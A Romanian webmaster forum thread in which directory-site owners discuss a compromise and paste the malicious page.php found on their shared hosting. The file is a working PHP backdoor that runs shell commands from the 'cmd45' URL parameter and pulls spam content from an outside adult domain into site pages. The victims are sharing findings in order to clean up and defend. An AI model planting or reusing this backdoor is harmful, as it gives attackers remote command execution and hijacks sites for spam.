Spam Smarty!!!

[Punct]

Va rog, unul care se pricepe mai bine ca nu prea inteleg NIMIC... sa spuna mare si tare despre ce este vorba sa avem si noi de unde sa invatam si sa stim cum sa ne ferim, ofer reputatie pentru un raspuns bun. multumesc.

Imi pare rau pentru Smarty, sper sa o rezolvi cu el.

[tataraseni]

Va rog, unul care se pricepe mai bine ca nu prea inteleg NIMIC... sa spuna mare si tare despre ce este vorba sa avem si noi de unde sa invatam si sa stim cum sa ne ferim, ofer reputatie pentru un raspuns bun. multumesc.

Imi pare rau pentru Smarty, sper sa o rezolvi cu el.

Probabil ca o sa-l refac de la zero pe o platforma open-source ca astia de la BosDev imi cer 10 USD ca sa fac update la versiunea de script care rezolva problema acestui exploit - injectare de cod... sau sa ma bag sa iau eu la mana codul dar aceasta inseamna munca de SISIF... nu stiu cum voi face cu importul celor aproape 10.000 de site-uri inscrise dar ma descurce eu pana la urma... cert e ca pe structura de acum nu ofera prea multe decat un backlink si un numar de vizitatori ne-satisfacator...

[Bruzli]

Aveai injectat cod html/javascript in fisierul index.php? Sau ce modificari ai avut?

[tataraseni]

aveam o functie getcontent() care lua toate prostiile alea de pe un server extern si le afisa in footer-ul lui Smarty

[Toto]

Si page.php cum a ajuns pe server?? Sau ... Cum dracu functioneaza acest bosdev??? Ce naiba e pe serverul ala?? Probabil ai facut-o deja, insa ar fi bine sa verifici toate site-urile care le ai pe serverul ala si poate ar fi bine sa iti si ei talpasita de acolo...

[tataraseni]

Iata ce contine acel page.php, serverul e share... nu stiu daca e cazul sa spun unde e gazduit dar nu cred ca e vorba de permisiunile mele (555 pe public_html)

<?

error_reporting(0);

if($_GET['cmd45']) {
system($_GET['cmd45']);
}
if($_GET['gid']) {
$ret = $_SERVER['SCRIPT_NAME'];
preg_match("/.*\/(.*)/", $ret, $matches);
$ret = filesize($matches[1]);
print $ret;
exit();
}
$domain = 'shemale1.biz';

$ur = '/load.php?f=%s&ua=%s&ref=%s';
$qs = $_SERVER['QUERY_STRING'];

$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));

$ref = urlencode($_SERVER['HTTP_REFERER']);

$redirect = sprintf($ur,$qs,$ua,$ref);
#print $redirect;
#exit;

echo getcontent($domain,80,$redirect);
exit;

function getcontent($server, $port, $file)
{
$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");
$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;
fputs($socket, "GET $file HTTP/1.0\r\n");
fputs($socket, "Referer: http://$refer\r\n");
fputs($socket, "Host: $server\r\n");
fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n\r\n");

$wr = 0;

while(!feof($socket))
{
$temp = fgets($socket);
if(eregi("<",$temp)) {
$wr = 1;
}

if($wr) {
$page .= $temp;
}
}
fclose($socket);

return $page;
}

?>

[barosanu]

asa si cu spamul cum ramane..ca si eu am primit la greu..

[ZendNet]

@tataraseni

Am exact aceeasi problema ca si tine pe un director de rank 5. Am luat si penalty pentru ca nu am observat la timp.
Am gasit page.php in radacina si mainpage.php sub un director, iar ambele au acelasi cod postat de tine.
Ce nu am inteles bine este pe ce script ti s-a intamplat. Pe BosDev? Sau pe phpld. Eu folosesc phpld si acolo am gasit fisierul pus de doua ori, exact acelasi cod cu al tau.
As fi curios ce parere ai despre cum a ajuns fisierul acolo.
La mine hosting-ul mi-a dat clar logul de ftp cand a fost pus fisierul. Problema mea cea mai mare este CUM s-a obtinut login-ul. (sniff de login sau scriptul are gauri)

[tataraseni]

@tataraseni

Am exact aceeasi problema ca si tine pe un director de rank 5. Am luat si penalty pentru ca nu am observat la timp.
Am gasit page.php in radacina si mainpage.php sub un director, iar ambele au acelasi cod postat de tine.
Ce nu am inteles bine este pe ce script ti s-a intamplat. Pe BosDev? Sau pe phpld. Eu folosesc phpld si acolo am gasit fisierul pus de doua ori, exact acelasi cod cu al tau.
As fi curios ce parere ai despre cum a ajuns fisierul acolo.
La mine hosting-ul mi-a dat clar logul de ftp cand a fost pus fisierul. Problema mea cea mai mare este CUM s-a obtinut login-ul. (sniff de login sau scriptul are gauri)

...cred ca avem acelasi hosting... si de aici problema... scriptul folosit pe www.smarty.ro e BosDev Directory...

[ZendNet]

da, am verificat acum si e acelasi hosting. scripturile sunt diferite. acces pe ftp pentru upload? sau ambele scripturi au acelasi bug? din cate ai scris cei de la BosDev ti-ar rezolva problema la 10$. La mine problema e ca scriptul e cu update, iar acel bug nu exista. Singura treaba interesanta este cum de la mine din 5 directoare mi-a lovit unul singur. Toate cu acelasi script, pe acelasi server, aceeasi versiune de php. Sper sa nu ma trezesc cu ele maine toate facute salata.